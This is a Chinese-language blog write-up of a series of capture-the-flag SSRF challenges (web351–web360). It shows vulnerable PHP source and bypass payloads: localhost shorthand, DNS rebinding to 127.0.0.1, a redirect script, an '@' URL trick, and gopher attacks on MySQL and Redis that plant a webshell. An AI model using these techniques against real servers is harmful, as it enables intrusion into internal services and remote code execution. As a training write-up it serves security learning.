前言
欢迎来到我的博客
个人主页:北岭敲键盘的荒漠猫-CSDN博客
web351
解析:post传入url参数他就会访问。
解法:
hackbar传入url参数写入https://127.0.0.1/flag.php
web352
解析:post传入url参数,不能是127.0.0.1和localhost
解法:缩写127.1传入
web353
解析:不能传localhost和127.0
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?>
解题:
缩写法https://127.1/flag.php
绕过
web354
解析:传url访问网址,不可以有localhost和1和0
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?>
解题:
自创域名绑定127.0.0.1,然后post我们的域名。
也可以服务器3xx重定向
web355
解析:限制url长度
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker
解题:
缩写法绕过,0或者127.0等
web356
解析:长度限制更小,小于3
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker
解题:
0代替127.0.0.1
web357
解析:他会把域名进行解析为ip,不能是自身的ip
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {die('ip!');
}echo file_get_contents($_POST['url']);
}
else{die('scheme');
}
?>
解题:
3xx重定向,自己服务器上搭建一个网站,网站内容如下
<?php header("Location:http://127.0.0.1/flag.php"); ?>
然后写自己网站ip让他访问就行了
web358
解析:此题为白名单,判断变量$url
所代表的字符串是否以 “http://” 开头,中间包含 “ctf.”,然后可以有任意字符,最后以 “show” 结尾
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){echo file_get_contents($url);
}
解题:
利用@,把他需要出现的文字写到@之前,然后最后以show结尾,我们可以利用参数传递?传参无用参数show来解题
payload:
url=http://ctf.@127.0.0.1/flag.php?show
web359
解题过程:
开局一个登录框
瞎写一通观察数据包发现有一个url
在自己服务器上开启python服务后让他访问我的服务器发现
他会对url进行访问
无过滤,题目要求我们打数据库,我们利用gopher协议攻击
启动Gopherus工具
生成的payload我们还需要对后面的内容URL编码一下
因为它是url编码的形态,但是我们传过去他们会url解码一次,后面这个url编码形式的就会被误解码所以我们需要编码一次让他解码后又是这个样子。
发送后访问URL判断是否成功
访问很成功可以直接连接webshell了
没看见flag,直接上linux查找文件指令
直接查看
解题完成
web360
题目解题:让我们打redis
我们看源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
可以传参url,
利用上面相同的方法生成payload
post传参进去(记得url编码一次)
然后生成shell.php
之后我们直接哥斯拉连接就行了
flag在
/flaaag